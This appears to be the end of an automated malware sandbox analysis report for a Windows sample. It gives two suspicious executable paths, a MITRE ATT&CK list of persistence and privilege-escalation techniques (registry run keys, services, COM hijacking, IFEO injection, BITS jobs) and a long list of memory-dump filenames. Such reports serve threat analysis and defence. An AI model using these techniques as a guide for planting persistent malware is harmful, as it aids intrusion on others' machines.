C:\Users\Admin\AppData\Local\Temp\{10be35f9-5e4c-09d5-4233-7514adcb6cc5}\afa26c92b871.exeC:\Users\Admin\AppData\Local\Temp\{10be35f9-5e4c-09d5-4233-7514adcb6cc5}\afa26c92b871.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\5b9e3bcdf9cc.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\5b9e3bcdf9cc.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
BITS Jobs
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
2Component Object Model Hijacking
1Image File Execution Options Injection
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
2Component Object Model Hijacking
1Image File Execution Options Injection
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_5klmkj4f.a32.ps1
1c85ca61b926.exe
memory/200-121-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/1324-73-0x00000255C1780000-0x00000255C17A2000-memory.dmp
memory/1500-46-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/2684-114-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/2772-18-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/2980-338-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/2996-53-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/3004-387-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/3508-391-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/3604-127-0x000002997BBF0000-0x000002997BC0E000-memory.dmp
memory/3604-458-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/3604-129-0x000002997BE20000-0x000002997BED2000-memory.dmp
memory/3604-140-0x000002997C150000-0x000002997C16E000-memory.dmp
memory/3604-135-0x000002997BBE0000-0x000002997BBEA000-memory.dmp
memory/4036-403-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/4092-26-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/4176-513-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/4240-12-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/4296-583-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/4304-521-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/4600-48-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/4648-519-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/4776-176-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/4796-41-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/5164-597-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/5640-272-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/5692-585-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/5908-477-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/5944-300-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/5988-598-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6156-261-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6240-173-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6252-192-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6332-188-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6504-197-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6588-525-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6592-322-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6752-253-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6836-331-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6856-340-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6884-256-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6892-335-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6924-561-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/6952-359-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/7136-390-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/7356-634-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/7376-578-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/7668-290-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/7772-558-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/7924-328-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/8088-302-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/8116-392-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/8672-635-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/9296-594-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/9700-592-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/9820-508-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/9852-589-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/9908-601-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/9916-593-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/10040-584-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/10724-586-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/10896-631-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/10948-628-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/10996-599-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp
memory/11040-600-0x00007FFC36D80000-0x00007FFC36FE3000-memory.dmp